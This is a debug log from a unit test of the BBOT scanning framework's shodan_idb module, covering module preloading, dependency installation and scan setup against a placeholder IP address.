-2026-02-27 14:45:14,133 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 14:45:14,134 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 14:45:14,137 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 14:45:14,137 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 14:45:14,138 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 14:45:14,138 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 14:45:14,139 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 14:45:14,139 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 14:45:14,139 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 14:45:14,140 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 14:45:14,140 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 14:45:14,140 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 14:45:14,141 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 14:45:14,142 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 14:45:14,142 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 14:45:14,142 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 14:45:14,143 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 14:45:14,143 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 14:45:14,144 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 14:45:14,144 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 14:45:14,144 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 14:45:14,145 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 14:45:14,145 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 14:45:14,145 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 14:45:14,146 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 14:45:14,146 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 14:45:14,147 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 14:45:14,147 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 14:45:14,147 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 14:45:14,148 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 14:45:14,149 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 14:45:14,149 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 14:45:14,150 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 14:45:14,150 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 14:45:14,150 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 14:45:14,151 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 14:45:14,151 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 14:45:14,151 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 14:45:14,152 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 14:45:14,152 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 14:45:14,153 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 14:45:14,153 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 14:45:14,153 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 14:45:14,154 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 14:45:14,154 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 14:45:14,155 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 14:45:14,155 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 14:45:14,155 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 14:45:14,156 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 14:45:14,156 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 14:45:14,156 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 14:45:14,157 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 14:45:14,157 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 14:45:14,157 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 14:45:14,158 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 14:45:14,159 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 14:45:14,159 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 14:45:14,159 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 14:45:14,160 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 14:45:14,160 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 14:45:14,161 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 14:45:14,161 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 14:45:14,161 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 14:45:14,162 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 14:45:14,162 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 14:45:14,163 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 14:45:14,163 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 14:45:14,164 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 14:45:14,164 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 14:45:14,164 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 14:45:14,165 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 14:45:14,165 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 14:45:14,166 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 14:45:14,166 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 14:45:14,166 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 14:45:14,167 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 14:45:14,167 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 14:45:14,167 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 14:45:14,168 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 14:45:14,168 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 14:45:14,168 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-02-27 14:45:14,169 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 14:45:14,169 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 14:45:14,170 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-02-27 14:45:14,170 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 14:45:14,171 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-02-27 14:45:14,171 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 14:45:14,171 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 14:45:14,172 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 14:45:14,172 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 14:45:14,173 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 14:45:14,173 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 14:45:14,173 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-02-27 14:45:14,174 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 14:45:14,174 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 14:45:14,175 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 14:45:14,175 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 14:45:14,176 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 14:45:14,176 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 14:45:14,177 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 14:45:14,178 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 14:45:14,180 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 14:45:14,181 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 14:45:14,182 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 14:45:14,182 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 14:45:14,183 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 14:45:14,183 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 14:45:14,184 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 14:45:14,185 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 14:45:14,185 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 14:45:14,185 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-02-27 14:45:14,186 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 14:45:14,186 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 14:45:14,187 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 14:45:14,187 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 14:45:14,188 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 14:45:14,188 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 14:45:14,189 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 14:45:14,189 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 14:45:14,190 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 14:45:14,190 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 14:45:14,191 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 14:45:14,191 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 14:45:14,192 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 14:45:14,192 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 14:45:14,192 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 14:45:14,193 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 14:45:14,193 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 14:45:14,194 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 14:45:14,194 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 14:45:14,195 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 14:45:14,195 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 14:45:14,196 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-02-27 14:45:14,196 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 14:45:14,990 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:45:14,990 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:45:14,990 [INFO] bbot base.py:99 Starting shodan_idb module test -2026-02-27 14:45:15,084 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 14:45:15,467 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_idb" of type "scan" -2026-02-27 14:45:15,467 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 14:45:15,467 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 14:45:15,468 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 14:45:15,597 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 14:45:15,598 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 14:45:15,705 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 14:45:15,705 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 14:45:15,731 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 14:45:15,733 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 14:45:15,733 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-02-27 14:45:16,137 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 14:45:16,137 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 15:00:04,662 [WARNING] bbot.core.helpers.depsinstaller installer.py:443 Incorrect password -2026-02-27 15:00:09,434 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-02-27 15:00:09,435 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 15:00:09,436 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 15:00:12,930 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 15:00:12,931 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_idb - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "shodan_idb" -2026-02-27 15:00:12,937 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_idb -2026-02-27 15:00:13,003 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_idb" -2026-02-27 15:00:13,003 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_idb) -2026-02-27 15:00:13,003 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 15:00:13,005 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-02-27 15:00:13,005 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-02-27 15:00:13,006 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 15:00:13,006 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-02-27 15:00:13,007 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-02-27 15:00:13,007 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 15:00:13,007 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 15:00:13,009 [DEBUG] bbot.modules.shodan_idb base.py:1563 Setting up module shodan_idb -2026-02-27 15:00:13,010 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup_deps() -2026-02-27 15:00:13,010 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup() -2026-02-27 15:00:13,010 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished setting up module shodan_idb -2026-02-27 15:00:13,010 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 15:00:13,010 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 15:00:13,011 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 15:00:13,011 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 15:00:13,011 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 15:00:13,012 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 15:00:13,012 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_idb (success) -2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 15:00:13,013 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 15:00:13,014 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 15:00:13,014 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-02-27 15:00:13,014 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 15:00:13,014 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 15:00:13,094 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_idb_test_2xbsmsfupf -2026-02-27 15:00:13,094 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-02-27 15:00:13,160 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-02-27 15:00:13,160 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 15:00:13,161 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 15:00:13,162 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 15:00:13,263 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 15:00:13,264 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 15:00:13,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 15:00:13,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-02-27 15:00:13,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 15:00:13,267 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 15:00:13,267 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 15:00:13,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-02-27 15:00:13,268 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 15:00:13,269 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 15:00:13,269 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 15:00:13,270 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 15:00:13,270 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 15:00:13,270 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 15:00:13,271 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 15:00:13,274 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 15:00:13,275 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 15:00:13,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 15:00:13,276 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 15:00:13,276 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 